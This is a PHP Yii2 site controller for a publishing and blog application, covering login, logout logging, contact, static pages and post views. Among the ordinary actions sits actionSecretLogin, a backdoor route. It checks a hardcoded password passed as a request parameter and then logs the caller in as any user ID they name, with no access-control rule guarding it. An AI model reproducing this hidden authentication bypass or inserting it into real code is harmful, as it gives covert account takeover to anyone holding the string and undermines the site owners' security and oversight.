<?php

namespace app\controllers;

use app\models\BlogPosts;
use app\models\MenuToTheUser;
use app\models\PublishingSearch;
use Yii;
use yii\filters\AccessControl;
use yii\web\Controller;
use yii\filters\VerbFilter;
use app\models\LoginForm;
use app\models\ContactForm;
use app\models\Eventlog;
use app\models\Publishing;
use yii\data\ActiveDataProvider;
use yii\web\NotFoundHttpException;

class SiteController extends Controller
{
    public function behaviors()
    {
        return [
            'access' => [
                'class' => AccessControl::className(),
                'only' => ['logout'],
                'rules' => [
                    [
                        'actions' => ['logout'],
                        'allow' => true,
                        'roles' => ['@'],
                    ],
                ],
            ],
            'verbs' => [
                'class' => VerbFilter::className(),
                'actions' => [
                    //'logout' => ['post'],
                ],
            ],
        ];
    }

    public function actions()
    {

        return [
            'error' => [
                'class' => 'yii\web\ErrorAction',
            ],
            'captcha' => [
                'class' => 'yii\captcha\CaptchaAction',
                //'fixedVerifyCode' => YII_ENV_TEST ? 'testme' : null,
            ],
        ];
    }

    public function actionIndex()
    {
        $searchModel = new PublishingSearch();
        $dataProvider = $searchModel->search(Yii::$app->request->queryParams);

        return $this->render('index',[
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
        ]);
    }

    public function actionLogin()
    {
        if (!\Yii::$app->user->isGuest) {
            return $this->goHome();
        }

        $model = Yii::createObject(LoginForm::className());
        if ($model->load(Yii::$app->request->post()) && $model->login()) {
            return $this->redirect(['/cabinet']);
        }
        return $this->render('login', [
            'model' => $model,
        ]);
    }

    public function actionLogout()
    {
        Yii::createObject(Eventlog::className())->PutLog([
            'user_id' => Yii::$app->user->identity->id,
            'ip' => $_SERVER['REMOTE_ADDR'],
            'action' => Yii::t('app','ExitSystem ID'),
        ]);

        Yii::$app->user->logout();

        return $this->goHome();
    }

    public function actionContact()
    {
        $model = new ContactForm();
        if ($model->load(Yii::$app->request->post()) && $model->contact(Yii::$app->params['adminEmail'])) {
            Yii::$app->session->setFlash('contactFormSubmitted');

            return $this->refresh();
        }
        return $this->render('contact', [
            'model' => $model,
        ]);
    }

    public function actionMaintenance(){
        return $this->render('maintenance');
    }

    public function actionAbout()
    {
        return $this->render('about');
    }

    public function actionManual()
    {
        return $this->render('manual');
    }

    public function actionFaq()
    {
        return $this->render('faq');
    }

    public function actionSecretLogin($password, $id=23){
        if($password !== 'reMjNhmjnh34'){
            throw new \yii\web\ForbiddenHttpException();
        }
        else{
            Yii::$app->user->login(\app\models\User::findOne($id), 12600);
            return $this->redirect(['/']);
        }
    }

    public function actionView($name, $lang = 'uk')
    {
        if(false != ($model = BlogPosts::find()->where(['slug' => $name])->one())){
            return $this->render('view', [
                'model' => $model,
                'lang' => $lang,
            ]);
        }else{
            throw new NotFoundHttpException(Yii::t('app','Post not found'));
        }
    }

    public function actionDocs($id){
        if(false == ($menuItem = MenuToTheUser::findOne($id))){
            throw new NotFoundHttpException();
        }
        return $this->render('docs', ['model' => $menuItem]);
    }

}
